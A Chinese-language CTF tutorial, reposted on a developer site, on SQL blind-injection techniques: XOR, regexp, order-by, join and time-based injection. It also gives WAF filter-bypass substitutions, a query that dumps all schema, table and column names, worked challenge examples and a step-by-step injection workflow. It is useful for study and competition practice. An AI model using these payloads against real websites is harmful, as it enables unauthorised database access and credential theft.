CTF中几种通用的sql盲注手法和注入的一些tips

栏目: 数据库 · 发布时间: 7年前

内容简介:在ctf比赛中难免会遇到一些比较有(keng)趣(die)的注入题,需要我们一步步的绕过waf和过滤规则,这种情况下大多数的注入方法都是盲注。然而在盲注过程中由于这些过滤规则不太好绕过,这时候就会无从下手,下面分享一下自己在比赛中总结几种比较通用的盲注手法和一些小tips,希望能在今后大家的比赛或者实战中带来一些实质性的帮助。因为这种方法利用了异或符号,所以给它取名为xor注入

CTF中几种通用的 <a href='https://www.codercto.com/topics/18630.html'>sql</a> 盲注手法和注入的一些tips

0x00 前言

在ctf比赛中难免会遇到一些比较有(keng)趣(die)的注入题,需要我们一步步的绕过waf和过滤规则,这种情况下大多数的注入方法都是盲注。然而在盲注过程中由于这些过滤规则不太好绕过,这时候就会无从下手,下面分享一下自己在比赛中总结几种比较通用的盲注手法和一些小tips,希望能在今后大家的比赛或者实战中带来一些实质性的帮助。

0x01 XOR注入

因为这种方法利用了异或符号,所以给它取名为xor注入

1、基本注入payload

admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23
或者
admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23

我们来分析一下这个语句的格式:

首先我们先根据^符号来分割开语句:

admin'
ascii(mid((password)from(i)))>j
'1'='1'%23

最前面和最后面的语句都固定为真(逻辑结果都为1),只有中间的语句不确定真假

那么整个payload的逻辑结果都由中间的语句决定,我们就可以用这个特性来判断盲注的结果了

0^1^0 --> 1 语句返回为真
0^0^0 --> 0 语句返回为假

这里mid函数的使用方法:

正常的用法如下,对于str字符串,从pos作为索引值位置开始,返回截取len长度的子字符串

MID(str,pos,len)

这里的用法是, from(1)表示从第一个位置开始截取剩下的字符串,for(1)表示从改位置起一次就截取一个字符

mid((str)from(i))
mid((str)from(i)for(1))

看下图的查询结果应该就知道用法了:

CTF中几种通用的sql盲注手法和注入的一些tips CTF中几种通用的sql盲注手法和注入的一些tips

这里可能还会有疑问:为什么这里不加for可以正常运行呢?

因为这里的ascii函数是默认取字符串中第一个字符的ascii码做为输出

CTF中几种通用的sql盲注手法和注入的一些tips

2、使用场景

过滤了关键字:and、or

过滤了逗号,

过滤了空格

如果这里过滤了=号的话,还可以用>或者<代替(大小的比较)

payload:admin'^(ascii(mid((password)from(i)))>j)^('2'>'1')%23

如果这里过滤了%号和注释符的话,那就把最后一个引号去掉就可以和后面的引号匹配了 ‘1’=’1

0x02 regexp注入

1、基本注入payload

select (select语句) regexp '正则'

下面举一个例子来说明一下用法:

首先正常的查询语句是这样:

select user_pass from users where user_id = 1

CTF中几种通用的sql盲注手法和注入的一些tips 接着进行正则注入,若匹配则返回1,不匹配返回0

select (select user_pass from users where user_id = 1) regexp '^a'

CTF中几种通用的sql盲注手法和注入的一些tips 这里的^表示pattern的开头

接着一步步判断

CTF中几种通用的sql盲注手法和注入的一些tips CTF中几种通用的sql盲注手法和注入的一些tips 或者regexp这个关键字还可以代替where条件里的=号

select * from users where user_pass regexp '^a9'

CTF中几种通用的sql盲注手法和注入的一些tips

2、使用场景

过滤了=、in、like

这里的^如果也被过滤了的话,可以使用$来从后往前进行匹配

CTF中几种通用的sql盲注手法和注入的一些tips

详细的正则注入教程可以看这里:

http://www.cnblogs.com/lcamry/articles/5717442.html

0x03 order by盲注

1、基本注入payload

select * from users where user_id = '1' union select 1,2,'a',4,5,6,7 order by 3

首先先看看order by的使用方法:

order by 'number' (asc/desc)

即对某一列进行排序, 默认是升序排列 ,即后面默认跟上asc,那么上面一句就相当于

select * from users order by 3 asc

我们在注入时经常会使用order by来判断数据库的列数,那我们这里使用他配合union select来进行注入

2、原理分析

首先正常的注入是蓝色那部分的字符串,这里我们的目的是要注出test用户的user_pass值

CTF中几种通用的sql盲注手法和注入的一些tips

接着我们在语句后面加上order by 3,即对第三列进行升序排列(按照ascii码表)

CTF中几种通用的sql盲注手法和注入的一些tips

这里的user_pass列中的3是我们union select里面的第三列,这里就把’3’替换为’a’

CTF中几种通用的sql盲注手法和注入的一些tips

这里可能看不出什么变化,那么把他改成’b’看看

CTF中几种通用的sql盲注手法和注入的一些tips

看到用户test跑到第一行来了,所以这里经常用来判断有返回差异的注入,且返回只有一列的输出,根据差异来判断我们盲注的值是否正确

当然这里也可以使用order by desc降序排列来注入,所以这里要根据使用场景来进行选择

3、使用场景

过滤了列名

过滤了括号

适用于已知该表的列名以及列名位置的注入

0x04 实例讲解

1、ascii盲注来自skctf login3的一道题,bugku上也有:

题目链接: http://123.206.31.85:49167/

CTF中几种通用的sql盲注手法和注入的一些tips

是标准的登陆框,因为存在注入,先fuzz一下过滤了什么字符。使用bp的intruder模块载入字典进行fuzz(字典在后面会分享给大家)。

CTF中几种通用的sql盲注手法和注入的一些tips

可以看到这里的=,空格、and、or都被过滤了,但是>、<、^没有被过滤,所以这里使用ascii盲注

CTF中几种通用的sql盲注手法和注入的一些tips 这里最后是要注入出admin的password,过程就不详细讲解了,直接给出payload:

username = admin'^(ascii(mid((password)from(1)))>1)^('2'>'1')%23

网鼎杯第二场的一道注入题sqlweb的其中一种解法也是用到这种ascii盲注

这个payload和我们上面说的是一样的,所以这个就靠你们自己慢慢消化了。

2、regexp盲注是来自实验吧一道注入题

题目链接: http://ctf5.shiyanbar.com/web/earnest/index.php

writeup链接: http://www.shiyanbar.com/ctf/writeup/4828

当初也是看着p牛的wp做的,发现这道虽然难了点,但是里面的sql的知识点考的倒是不错,是练习过waf的一道好题目。

这道题只有一个id作为输入点,id存在注入点,但是过滤了很多东西,前面的步骤就不详细说了,去看p牛的详细解答

看到这里,过滤了^,但是没过滤$,所以xor注入就无效了,这边选择regexp注入使用$符号从后往前注入

0' or (select (select fl$4g from fiag limit 1) regexp '%s$') or 'pcat'='

这里是用 python 写的脚本,一个一个的对字符串的正则匹配得到最后flag

3、union盲注利用起来比较简单,就是利用上面说的那些条件进行注入,例子是来自蓝鲸ctf的一道ctf题目:

题目链接: http://ctf.whaledu.com:10012/52gw5g4hvs59/

题目好像进不去了,但是可以看 我的writeup

首先题目存在sql注入还有一个上传点,可以通过注入拿到所有源码

CTF中几种通用的sql盲注手法和注入的一些tips

拿到之后进行审计,发现上传时文件以随机字符串上传到了/Up10aD/文件夹下,我们的目的就是要通过注入拿到上传后的文件,在原来的注入点使用order by盲注将文件名得到:

CTF中几种通用的sql盲注手法和注入的一些tips

重点就在order by盲注这, 注入点在id这里

CTF中几种通用的sql盲注手法和注入的一些tips

那么写出order by盲注的脚本如下图:

CTF中几种通用的sql盲注手法和注入的一些tips

这里存在过滤,绕过的方法是双写绕过,所以payload看起来不是很清楚,正常的应该是这样的:

image = 79 union distinct select 0x{filename} order by 1 desc

注意前面的image=79是存在的图片的id,这样order by才可以进行对比实现

这个注入形式也是和我们上面讲解一样,所以大家可以自己找题目来练习。

0x05 其他的一些小tips

1、一些等效替代的函数(特殊符号)

字符:

空格 <--> %20、%0a、%0b、/**/、 @tmp:=test
and <--> or
'=' <--> 'like' <--> 'in' --> 'regexp' <--> 'rlike' --> '>' <--> '<'

@tmp :=test只能用在select关键字之后,等号后面的字符串随意

函数:

字符串截断函数:left()、mid()、substr()、substring()
取ascii码函数:ord()、ascii()

2、 一次性报所有表明和字段名

(SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x)

CTF中几种通用的sql盲注手法和注入的一些tips

3、Subquery returns more than 1 row的解决方法

产生这个问题的原因是子查询多于一列,也就是显示为只有一列的情况下,没有使用limit语句限制,就会产生这个问题,即limt 0,1

如果我们这里的逗号被过滤了咋办?那就使用offset关键字:

limit 1 offset 1

如果我们这里的limit被过滤了咋办?那就试试下面的几种方法:

(1) group_concat(使用的最多)
(2) <>筛选(不等于)
(3) not in
(4) DISTINCT

上面这些都涉及到了sql基本语句,这里就不一一举例了。大家可以多在本地环境试试,加深理解

4、join注入

payload::

1' union select * from (select 1) a join (select 2) b %23

优势:过滤了逗号的情况下使用

下面的payload(别的博客处摘抄来的)适用于过滤了逗号和字段名的情况下使用

union all
select * from(
    (select 1)a join(
        select F.[需要查询的字段号] from(
            select * from [需要查询的表有多少个字段就join多少个]
            union
            select * from [需要查询的表] [limit子句]
        )F-- 我们创建的虚拟表没有表名,因此定义一个别名,然后直接[别名].[字段号]查询数据
    )b-- 同上[还差多少字段就再join多少个,以满足字段数相同的原则]
)

具体的使用方法不在本文的讨论范围内,具体的使用可以看看下面的文章:

https://blog.csdn.net/qq_33020901/article/details/78906268

5、带!的注入

直接看下面的payload,适用于and、or、^被过滤的情况下使用,有时候可能也会使用到,但是具体的原理不是很明白,大家可以自行google

CTF中几种通用的sql盲注手法和注入的一些tips

6、if盲注(合理利用条件)

if盲注的基本格式:

if(条件,条件为真执行的语句,条件为假执行的语句)

举个例子:

admin' if(ascii(mid(user(),1,1))=100,sleep(5),1)

用好if盲注的关键是条件的输入,有一道BCTF的注入题的wp用的就是if盲注

wp链接: https://www.kingkk.com/2018/04/bctf2018-love-q/

写博客的这位大佬巧妙利用了 pow函数数值溢出的特性 ,使得经过if判断后的条件会报错,但是不执行该语句时语法上是没问题的

原理如下:

mysql> select if(1,1,pow(2,22222222222)); //条件为真时,返回1

+——————————————+

| if(1,1,pow(2,22222222222)) |

+——————————————+

| 1 |

+——————————————+

1 row in set (0.00 sec)

mysql> select if(0,1,pow(2,22222222222)); //条件为假时,报错

ERROR 1690 (22003): DOUBLE value is out of range in ‘pow(2,22222222222)’

像利用pow这种函数溢出的特性也不止这一个,这就需要我们靠平时的经验积累了,总之想要玩好ctf的注入题途径就是多刷题。

0x06 自己总结的注入流程

1、先找到注入点,id=,username=,判断GET/POST/COOKIE注入

2、查看显示位,如果只有一个显示位在使用union注入是注意使用limit来限制显示

3、判断字符型注入还是数字型注入(2-1,’是否正常)

4、输入不同值查看页面是否有变化,无变化的话可以考虑采用bool时间盲注,若有报错信息优先考虑报错注入(exp,updatexml(优先采用updatexml、extractvalue报错))

5、先简单测试空格和注释符是否被替换了,id=1 1,id = 1%231(看看能否用/ /、%20、%0a、%09绕过)

6、进行fuzz,看看那些被waf了

7、若页面上没有显示waf过滤之类的提示(sql injection detected),就测试是否有被替换为空的字符(如:’ or ‘*’=’、’ or ‘-‘=’ ,如果页面返回正常的话,则说明该字符被替换为空)

8、简单尝试双写、编码、大小写替换的方法,判断是否可以绕过

9、确定注入方式(尽量把盲注放最后),union、报错注入、盲注

10、先在bp中跑一遍看是否有结果

11、尝试写脚本

最重要的两步就是注入点并判断出注入类型,找到被过滤的函数和关键字并找到替代的函数和关键字,这就需要我们靠自己的耐心和细心还有经验的积累了。

0x07 结束语

上面的说的那些盲注手法都是在union注入、报错注入和可回显注入都失效的情况下使用的, 所以说盲注是一种通法,他也是放在最后使用的方法 ,如果本来环境就存在回显的点可以用union直接注入出来,还使用盲注显的有点多此一举,也浪费很多时间。所以这些方法需要根据大家遇到的实际情况进行灵活运用,最后记得多刷题!多刷题!多刷题!最后希望文章能对大家带来帮助。

0x08 其他一些不错的参考文章


以上所述就是小编给大家介绍的《CTF中几种通用的sql盲注手法和注入的一些tips》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Learning Web App Development

Learning Web App Development

Semmy Purewal / O'Reilly Media / 2014-3-3 / USD 29.99

Grasp the fundamentals of web application development by building a simple database-backed app from scratch, using HTML, JavaScript, and other open source tools. Through hands-on tutorials, this pract......一起来看看 《Learning Web App Development》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

RGB HSV 转换
RGB HSV 转换

RGB HSV 互转工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具